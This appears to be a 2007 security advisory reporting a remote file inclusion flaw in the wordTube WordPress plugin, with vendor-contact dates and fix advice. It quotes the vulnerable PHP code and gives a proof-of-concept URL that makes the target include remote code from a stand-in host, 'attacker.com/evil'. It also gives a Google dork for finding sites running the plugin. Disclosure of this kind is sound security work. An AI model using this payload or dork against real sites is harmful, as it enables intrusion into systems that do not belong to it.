____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_81$2007 ----------------------------------------------------------------------------------------- [ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : April, 30th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt Critical Lvl : Dangerous Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : wordTube version : <= 1.43 Vendor : http://alexrabe.boelinger.com/?page_id=20 Description : This plugin creates your personal YouTube plugin for wordpress. wordTube supports the streaming video format (Format .flv or .swf), sound files as MP3 and JPG, GIF or PNG grafic files. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~ - Invalid include function at wordtube-button.php : ----------------wordtube-button.php------------------- ... */ // get and set path of function if (!$_POST) $wppath=$_GET['wpPATH']; else $wppath=$_POST['wpPATH']; require_once($wppath.'/wp-config.php'); require_once($wppath.'/wp-admin/admin.php'); ... ---------------------------------------------------------------- Input passed to the "wpPATH" parameter in wordtube-button.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~ http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil? Google dork: ~~~~~~~~ "inurl:/plugins/wordtube" Solution: ~~~~~ - Edit the source code to ensure that input is properly verified. - Turn off register_globals - use the latest version Notification: ~~~~~ - 30-04-2007 bugs found - 30-04-2007 vendor contacted - 1-05-2007 advisory released --------------------------------------------------------------------------- Shoutz: ~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------